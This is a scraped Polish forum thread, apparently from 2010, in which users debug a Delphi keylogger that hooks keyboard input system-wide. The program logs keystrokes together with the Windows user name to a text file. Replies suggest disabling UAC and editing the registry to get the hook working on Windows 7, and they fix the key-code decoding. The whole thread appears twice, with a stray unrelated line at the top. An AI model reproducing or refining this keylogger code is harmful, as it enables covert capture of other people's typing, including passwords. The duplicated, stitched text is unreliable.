Ĺadny brzuch
Co jest nie tak ? Nie wyskakuje żaden błąd ale też nie działa.
var Hook: Integer; MessageBuffer: TEventMsg; procedure TForm1.FormCreate(Sender: TObject); begin ShowMessage('uruchamiam..'); Hook := SetWindowsHookEx(wh_journalrecord, PlayHook, HInstance, 0); end; procedure TForm1.FormDestroy(Sender: TObject); begin UnHookWindowsHookEx(Hook); end; function PlayHook(Code, wParam, lParam: Integer): Longint; begin case Code of HC_ACTION: begin MessageBuffer := PEventMsg(lParam)^; if MessageBuffer.message = wm_KeyDown then begin ShowMessage('Zapisuje..'); // <----Ta wiadomosc sie wogole nie pojawia. ----> // Form1.KeyLog.Text := Form1.KeyLog.Text + chr(MessageBuffer.paramL); Result := 0; end; end else begin Result := CallNextHookEx(Hook, Code, wParam, lParam); end; end; end;
To jest aplikacja okienkowa? Co chcesz osiągnąć? Sprawdź GetLastError() jeżeli SetWindowsHookEx() zwróci Ci NULL (nie wiem jaki jest odpowiednik NULL-a w Delphi :)).
Ten problem rozwiazany. Mam kolejny niżej. Xd
Użytkownik cidan edytował ten post 08 kwiecień 2010, 19:09
Mam sobie taki kod, ktory znalazłem w sieci :
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Memo1: TMemo; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} var Hook:Integer; MessageBuffer:TEventMsg; function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall; begin case Code of HC_ACTION: begin MessageBuffer := PEventMsg(lParam)^; if MessageBuffer.message = wm_KeyDown then begin Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml); Result := 0; end; end; else begin Result := CallNextHookEx(Hook, Code, wParam, lParam); end; end; end; procedure TForm1.FormCreate(Sender: TObject); begin Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0); end; procedure TForm1.FormDestroy(Sender: TObject); begin UnHookWindowsHookEx(Hook); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); var Plik : TextFile; numer : string; User : String; Buff : DWORD; begin Buff := 12; SetLength(User, Buff); GetUserName(PChar(User), Buff); numer := 'losowa'; AssignFile(Plik, numer + 'key.txt'); Rewrite(Plik); Writeln(Plik, Memo1.Text); Writeln(Plik, 'Zalogowany user: ' + User); CloseFile(Plik); end; end.
Nie wiem czemu nie działa. Niby zapisuje wszystko to co jest w Memo ale co z tego skoro sam muszę to tam bezpośrednio wprowadzić. Kiedy przechodzę do innego okna niż mój program np notatnik nic się nie dzieje. Proszę o pomoc.
//następnym razem proponuję nie zakładać nowego tematu, skoro tematyka jest podobna :)
Kod jest dobry. Jaki masz system?
Jak masz win 7 to zmień klucz:
HKEY_CURRENT_USER\Control Panel\Desktop\LowLevelHooksTimeout --> zmień z 5000 na 10000
Mam viste 64 bit.
Nie mam czegos takiego jak lowLevelHooksTimeout .
nie mam pomysłu, może wyłącz UAC
Nie nic nie dało. Na pewno kod jest dobry ?
Nie nic nie dało. Na pewno kod jest dobry ?
Na XP i win7 (32 bity) wszystko działa. Kompilowałem na delphi 7
Przy okazji skopiowałem kod, skompilowałem i nie działa, znaków zadnych nie rejestruje ten keylogger. Też mam win 7. Dodałem nawet ten wpis do rejestru, dword, wartość w dec (bo w hexach nie?), zrestarowałem kompa i sprawdziłem, nawet z "uruchom jako admin".
Pamiętam jak kiedyś miałem program korzystający z hooka i pod XP go używałem na codzień i spisywał się dobrze, był całkowicie sprawny. Po przerzuceniu się na Win7 przestał działać tzn. nie reagował na klawisze, na hooka, wtedy jeszcze raz sprawdziłem program na innych systemach i na XP działał, a pod nawet winnym Windows 7 (ultimate i home premium) nie działał.
Krótko mówiąc dawno temu zauważyłem to, że hook na klawiaturę nie działa pod siódemką. Nie wiem jakim cudem niby to u ciebie działa. Może podaj więcej informacji.
(PS. zapomniałbym, ten klucz do rejestru musiałem dodać ręcznie, bo w ogóle nie istniał, ale z kluczem, czy bez nie działa hook, albo ja coś źle robię).
Użytkownik le_vampire edytował ten post 10 kwiecień 2010, 17:38
Nie wiem jakim cudem niby to u ciebie działa.
Miałem dzisiaj trochę czasu i dostęp do "czystego" win7 pro, więc dokładnie sprawdziłem co i jak. Na początku rzeczywiście hooki nie działają, ale wystarczy w Panelu Sterowania w zakładce Konta użytkownika zmienić ustawienia kontroli konta użytkownika
http://img714.images...blablabla1.png/
http://img194.images...blablabla2.png/
i wszystko działa jak należy ;)
http://img28.imagesh.../i/blabla3.png/
Nooo :) w koncu dziala.
Użytkownik cidan edytował ten post 10 kwiecień 2010, 21:11
Nie wiem jak jest jeśli zakładasz hooka na WH_JOURNALRECORD w Win7. Ale jeśli założysz na WH_KEYBOARD_LL działa na windows 7 x64 (ultimate) przy UAC ustawionym na FULL. Tyle że musi być w DLL'ce
Użytkownik Konrad_st edytował ten post 10 kwiecień 2010, 21:08
Z wyłączonym UAC działa.
Durne to UAC, na dodatek restart wymagany. Dlaczego żaden pajac z microsoftu nie zrobił tego UAC wygodniejszego, że np. jak uruchamiam coś jako admin to znosi je... Bez sensu, że trzeba je wyłączyć całkowicie i pc zrestartować.
A i jeszcze coś, u mnie paramL wychwytuje, ale jakiś wysoki tzn. dowolna, jedna literka ma kod/liczbę składającą się z 4, czy tam 5 cyferek. Musiałem tam wkręcić BYTE, czyli Byte(Buffer.paramL) i wtedy już wyświetla normalne wartości (takie jak w tablicy ascii na wikipedii, DEC).
//dla testów
Buffer := PEventMsg(lParam)^; if Buffer.message = WM_KEYDOWN then begin Form1.Memo1.Text := Form1.Memo1.Text + IntToStr(Byte(Buffer.paramL)); end;
//btw. a jak ktoś nie potrzebuje hooka takiego, tylko coś banalnego i działającego globalnie (nawet jak w grach wciskamy) to można użyć GetKeyState (jakoś tak to szło i tam np. VK_CAPITAL i z tego co pamiętam zwraca pewne wyniki jak jest capslock włączony, wyłączony i przyciśnięty (niepuszczony). Przydatne jak grasz w coś, a chcesz by program coś wykonał (np. robisz jakiegoś bota, czy odtwarzacz muzy sterowany z gry xD). Wada, dużo zabawy jak chcesz korzystać z wieku przycisków, ja tego używam tylko jako hotkey w programach, które mają coś robić jeśli są pod innymi oknami.
Użytkownik le_vampire edytował ten post 10 kwiecień 2010, 22:55
Ok Mam kolejny problem :D. Otóż, chce sprawdzić czy został wciśnięty enter. Problem polega na tym, że gdy forma nie jest aktywna tzw mam klikniete powiedzmy w notatnik nic się nie dzieję. Więc trzeba podpiąć pod hooka. Problem w tym, że nie znalazłem nic co by działało.
Nikt nic nie wie ? ;/
Nie bardzo wiem o co chodzi, tzn hook działa i możesz przechwytywać literki, ale nie możesz klawisza enter,ctrl,shift etc. ?
Jeśli tak, to powinno pomóc:
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall; begin case Code of HC_ACTION: begin MessageBuffer := PEventMsg(lParam)^; if MessageBuffer.message = wm_KeyDown then begin case MessageBuffer.paraml of 7181:Form1.Memo1.Text:=Form1.Memo1.Text+'enter'; else //Form1.Memo1.Text := Form1.Memo1.Text+' '+inttostr(MessageBuffer.paraml); // możesz sobie sprawdzać kody klawiszy Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml); end; Result := 0; end; end;
ok wszystko juz działa. Dzięki. Tylko mam pytanie skąd wziąłeś 7181 ? Wszędzie podają, że Enter to 13 ?
Użytkownik cidan edytował ten post 14 kwiecień 2010, 21:18
ok wszystko juz działa. Dzięki. Tylko mam pytanie skąd wziąłeś 7181 ? Wszędzie podają, że Enter to 13 ?
pisałem wyżej o tym, pisałem też że masz wymusić konwersję na Byte? (czy jak to się zwie), po prostu wstaw Byte(tu to co ci liczbę zwraca) i wtedy będą normalne kody z tablicy ascii, czyli 13 dla entera itd, bo bez byte będą takie głupie 4 cyfrowe
//edited
case MessageBuffer.paraml of
7181:Form1.Memo1.Text:=Form1.Memo1.Text+'enter';
zmień na
case Byte(MessageBuffer.paraml) of
13:Form1.Memo1.Text:=Form1.Memo1.Text+' enter';
chyba zadziała? sprawdź, skopiowałem i wkleiłem na szybko
Użytkownik le_vampire edytował ten post 15 kwiecień 2010, 00:49
HeHe dzięki. Nie miałem o tym pojęcia :D
zanotowane.pl doc.pisz.pl pdf.pisz.pl zsf.htw.pl
var Hook: Integer; MessageBuffer: TEventMsg; procedure TForm1.FormCreate(Sender: TObject); begin ShowMessage('uruchamiam..'); Hook := SetWindowsHookEx(wh_journalrecord, PlayHook, HInstance, 0); end; procedure TForm1.FormDestroy(Sender: TObject); begin UnHookWindowsHookEx(Hook); end; function PlayHook(Code, wParam, lParam: Integer): Longint; begin case Code of HC_ACTION: begin MessageBuffer := PEventMsg(lParam)^; if MessageBuffer.message = wm_KeyDown then begin ShowMessage('Zapisuje..'); // <----Ta wiadomosc sie wogole nie pojawia. ----> // Form1.KeyLog.Text := Form1.KeyLog.Text + chr(MessageBuffer.paramL); Result := 0; end; end else begin Result := CallNextHookEx(Hook, Code, wParam, lParam); end; end; end;
To jest aplikacja okienkowa? Co chcesz osiągnąć? Sprawdź GetLastError() jeżeli SetWindowsHookEx() zwróci Ci NULL (nie wiem jaki jest odpowiednik NULL-a w Delphi :)).
Ten problem rozwiazany. Mam kolejny niżej. Xd
Użytkownik cidan edytował ten post 08 kwiecień 2010, 19:09
Mam sobie taki kod, ktory znalazłem w sieci :
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Memo1: TMemo; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} var Hook:Integer; MessageBuffer:TEventMsg; function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall; begin case Code of HC_ACTION: begin MessageBuffer := PEventMsg(lParam)^; if MessageBuffer.message = wm_KeyDown then begin Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml); Result := 0; end; end; else begin Result := CallNextHookEx(Hook, Code, wParam, lParam); end; end; end; procedure TForm1.FormCreate(Sender: TObject); begin Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0); end; procedure TForm1.FormDestroy(Sender: TObject); begin UnHookWindowsHookEx(Hook); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); var Plik : TextFile; numer : string; User : String; Buff : DWORD; begin Buff := 12; SetLength(User, Buff); GetUserName(PChar(User), Buff); numer := 'losowa'; AssignFile(Plik, numer + 'key.txt'); Rewrite(Plik); Writeln(Plik, Memo1.Text); Writeln(Plik, 'Zalogowany user: ' + User); CloseFile(Plik); end; end.
Nie wiem czemu nie działa. Niby zapisuje wszystko to co jest w Memo ale co z tego skoro sam muszę to tam bezpośrednio wprowadzić. Kiedy przechodzę do innego okna niż mój program np notatnik nic się nie dzieje. Proszę o pomoc.
//następnym razem proponuję nie zakładać nowego tematu, skoro tematyka jest podobna :)
Kod jest dobry. Jaki masz system?
Jak masz win 7 to zmień klucz:
HKEY_CURRENT_USER\Control Panel\Desktop\LowLevelHooksTimeout --> zmień z 5000 na 10000
Mam viste 64 bit.
Nie mam czegos takiego jak lowLevelHooksTimeout .
nie mam pomysłu, może wyłącz UAC
Nie nic nie dało. Na pewno kod jest dobry ?
Nie nic nie dało. Na pewno kod jest dobry ?
Na XP i win7 (32 bity) wszystko działa. Kompilowałem na delphi 7
Przy okazji skopiowałem kod, skompilowałem i nie działa, znaków zadnych nie rejestruje ten keylogger. Też mam win 7. Dodałem nawet ten wpis do rejestru, dword, wartość w dec (bo w hexach nie?), zrestarowałem kompa i sprawdziłem, nawet z "uruchom jako admin".
Pamiętam jak kiedyś miałem program korzystający z hooka i pod XP go używałem na codzień i spisywał się dobrze, był całkowicie sprawny. Po przerzuceniu się na Win7 przestał działać tzn. nie reagował na klawisze, na hooka, wtedy jeszcze raz sprawdziłem program na innych systemach i na XP działał, a pod nawet winnym Windows 7 (ultimate i home premium) nie działał.
Krótko mówiąc dawno temu zauważyłem to, że hook na klawiaturę nie działa pod siódemką. Nie wiem jakim cudem niby to u ciebie działa. Może podaj więcej informacji.
(PS. zapomniałbym, ten klucz do rejestru musiałem dodać ręcznie, bo w ogóle nie istniał, ale z kluczem, czy bez nie działa hook, albo ja coś źle robię).
Użytkownik le_vampire edytował ten post 10 kwiecień 2010, 17:38
Nie wiem jakim cudem niby to u ciebie działa.
Miałem dzisiaj trochę czasu i dostęp do "czystego" win7 pro, więc dokładnie sprawdziłem co i jak. Na początku rzeczywiście hooki nie działają, ale wystarczy w Panelu Sterowania w zakładce Konta użytkownika zmienić ustawienia kontroli konta użytkownika
http://img714.images...blablabla1.png/
http://img194.images...blablabla2.png/
i wszystko działa jak należy ;)
http://img28.imagesh.../i/blabla3.png/
Nooo :) w koncu dziala.
Użytkownik cidan edytował ten post 10 kwiecień 2010, 21:11
Nie wiem jak jest jeśli zakładasz hooka na WH_JOURNALRECORD w Win7. Ale jeśli założysz na WH_KEYBOARD_LL działa na windows 7 x64 (ultimate) przy UAC ustawionym na FULL. Tyle że musi być w DLL'ce
Użytkownik Konrad_st edytował ten post 10 kwiecień 2010, 21:08
Z wyłączonym UAC działa.
Durne to UAC, na dodatek restart wymagany. Dlaczego żaden pajac z microsoftu nie zrobił tego UAC wygodniejszego, że np. jak uruchamiam coś jako admin to znosi je... Bez sensu, że trzeba je wyłączyć całkowicie i pc zrestartować.
A i jeszcze coś, u mnie paramL wychwytuje, ale jakiś wysoki tzn. dowolna, jedna literka ma kod/liczbę składającą się z 4, czy tam 5 cyferek. Musiałem tam wkręcić BYTE, czyli Byte(Buffer.paramL) i wtedy już wyświetla normalne wartości (takie jak w tablicy ascii na wikipedii, DEC).
//dla testów
Buffer := PEventMsg(lParam)^; if Buffer.message = WM_KEYDOWN then begin Form1.Memo1.Text := Form1.Memo1.Text + IntToStr(Byte(Buffer.paramL)); end;
//btw. a jak ktoś nie potrzebuje hooka takiego, tylko coś banalnego i działającego globalnie (nawet jak w grach wciskamy) to można użyć GetKeyState (jakoś tak to szło i tam np. VK_CAPITAL i z tego co pamiętam zwraca pewne wyniki jak jest capslock włączony, wyłączony i przyciśnięty (niepuszczony). Przydatne jak grasz w coś, a chcesz by program coś wykonał (np. robisz jakiegoś bota, czy odtwarzacz muzy sterowany z gry xD). Wada, dużo zabawy jak chcesz korzystać z wieku przycisków, ja tego używam tylko jako hotkey w programach, które mają coś robić jeśli są pod innymi oknami.
Użytkownik le_vampire edytował ten post 10 kwiecień 2010, 22:55
Ok Mam kolejny problem :D. Otóż, chce sprawdzić czy został wciśnięty enter. Problem polega na tym, że gdy forma nie jest aktywna tzw mam klikniete powiedzmy w notatnik nic się nie dzieję. Więc trzeba podpiąć pod hooka. Problem w tym, że nie znalazłem nic co by działało.
Nikt nic nie wie ? ;/
Nie bardzo wiem o co chodzi, tzn hook działa i możesz przechwytywać literki, ale nie możesz klawisza enter,ctrl,shift etc. ?
Jeśli tak, to powinno pomóc:
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall; begin case Code of HC_ACTION: begin MessageBuffer := PEventMsg(lParam)^; if MessageBuffer.message = wm_KeyDown then begin case MessageBuffer.paraml of 7181:Form1.Memo1.Text:=Form1.Memo1.Text+'enter'; else //Form1.Memo1.Text := Form1.Memo1.Text+' '+inttostr(MessageBuffer.paraml); // możesz sobie sprawdzać kody klawiszy Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml); end; Result := 0; end; end;
ok wszystko juz działa. Dzięki. Tylko mam pytanie skąd wziąłeś 7181 ? Wszędzie podają, że Enter to 13 ?
Użytkownik cidan edytował ten post 14 kwiecień 2010, 21:18
ok wszystko juz działa. Dzięki. Tylko mam pytanie skąd wziąłeś 7181 ? Wszędzie podają, że Enter to 13 ?
pisałem wyżej o tym, pisałem też że masz wymusić konwersję na Byte? (czy jak to się zwie), po prostu wstaw Byte(tu to co ci liczbę zwraca) i wtedy będą normalne kody z tablicy ascii, czyli 13 dla entera itd, bo bez byte będą takie głupie 4 cyfrowe
//edited
case MessageBuffer.paraml of
7181:Form1.Memo1.Text:=Form1.Memo1.Text+'enter';
zmień na
case Byte(MessageBuffer.paraml) of
13:Form1.Memo1.Text:=Form1.Memo1.Text+' enter';
chyba zadziała? sprawdź, skopiowałem i wkleiłem na szybko
Użytkownik le_vampire edytował ten post 15 kwiecień 2010, 00:49
HeHe dzięki. Nie miałem o tym pojęcia :D